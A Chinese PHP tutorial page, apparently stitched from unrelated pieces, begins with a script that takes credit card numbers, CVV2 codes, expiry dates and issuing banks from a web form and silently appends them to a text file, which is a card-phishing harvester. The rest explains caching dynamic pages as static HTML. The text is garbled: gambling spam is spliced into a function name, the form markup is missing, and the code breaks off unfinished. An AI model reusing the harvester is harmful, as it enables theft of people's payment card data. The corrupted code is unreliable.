php代码收集表单内容并写入文件的代码

至于表单内容,这里就不多说了,主要是表单的action=”getpost.php”,也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来。
复制代码 代码如下:
//定义要收集的表单内容
$cardnum = $_POST[‘cardnum’];
$cvv2 = $_POST[‘cvv2’];
$month = $_POST[‘month’];
$year = $_POST[‘year’];
$cardbank = $_POST[‘cardbank’];
//定义收集的内容格式
$content = “Credit Card Number:”.$cardnum.”,Card Verification
Number:”.$cvv2.”,Card Expiry Date:”.$month.”/
year:”.$year.”,IssuingBank:”.cardbank;
//定义文件存放的位置
$compile_dir = “./txt.txt”;
//下面就是写入的PHP代码了
$file = fopen($compile_dir,”a+”);
fwrite($file,$content);
fclose($file);
?>

我经常会在网上看到有人问怎么将整个动态的网站静态化,其实实现的方法很简单。

最后会在当前的目录里面创建txt.txt,并把收集到的信息都写入此文件中,效果还是很不错的。

复制代码 代码如下:
//在你的开始处加入 ob_start();
ob_start();
//以下是你的代码
//在结尾加入 ob_end_clean(),并把本页输出到一个变量中
$temp = ob_get_contents();
ob_end_clean();
//写入文件
$fp = fopen(‘文件名’,’w’);
fwrite($fp,$temp) or die(‘写文件错误’);
?>

这只是最基本的方法,还不是很实用,因为网站是要更新的,要定期重新生成HTML

下面是我用的方法
 
复制代码 代码如下:
if(file_澳门新葡亰3522平台游戏,exists(“xxx.html”))
{
    $time = time();
        
//文件修改时间和现在时间相差半小时一下的话,直接导向html文件,否则重新生成html
    if($time – filemtime(“xxx.html”) < 30*60)
    {
        header(“Location:xxx.html”);
    }
}
//在你的开始处加入 ob_start();
ob_start();
//页面的详细内容
//在结尾加入 ob_end_clean(),并把本页输出到一个变量中
$temp = ob_get_contents();
ob_end_clean();
//写入文件
$fp = fopen(‘xxx.html’,’w’);
fwrite($fp,$temp) or die(‘写文件错误’);
//重新导向
header(“Location:xxx.html”);

上面用的缓存文件在大量生成时会出现负载过重,下面我们介绍一种更为高效的方法

以下是输入内容的提交页面:
文件名:aa.html
复制代码 代码如下:

提交页面

标题:

内容:

以下是代码片段:
文件名:bb.php
复制代码 代码如下:
//定义日期函数
function getdatetime()
{
 $datetime=getdate();
 $strReturn=$datetime[“year”].”-“;
 $strReturn=$strReturn.$datetime[“mon”].”-“;
 $strReturn=$strReturn.$datetime[“mday”];
 return $strReturn;
}
//定义时间函数(文件名)
function gettime()
{
 $times=getdate();
 $strtime=$times[“year”];
 $strtime=$strtime.$times[“mon”];
 $strtime=$strtime.$times[“mday”];
 $strtime=$strtime.$times[“minutes”];
 $strtime=$strtime.$times[“seconds”];
 return $strtime;
}
?>
//判断提交值是否为空
$submit=$_POST[“submit”];
//定义文件头部信息
$htmltitle=$_POST[“htmltitle”];
//定义文件内容
$htmlbody=$_POST[“htmlbody”];
if ($submit) {
//定义html文件标签
$html1=$html1.””;
$html1=$html1.”

“;
$html1=$html1.”

“;
$html1=$html1.$htmltitle;
$html1=$html1.”

“;
$html1=$html1.”

“;
$html1=$html1.””;
$html1=$html1.””;
$html1=$html1.”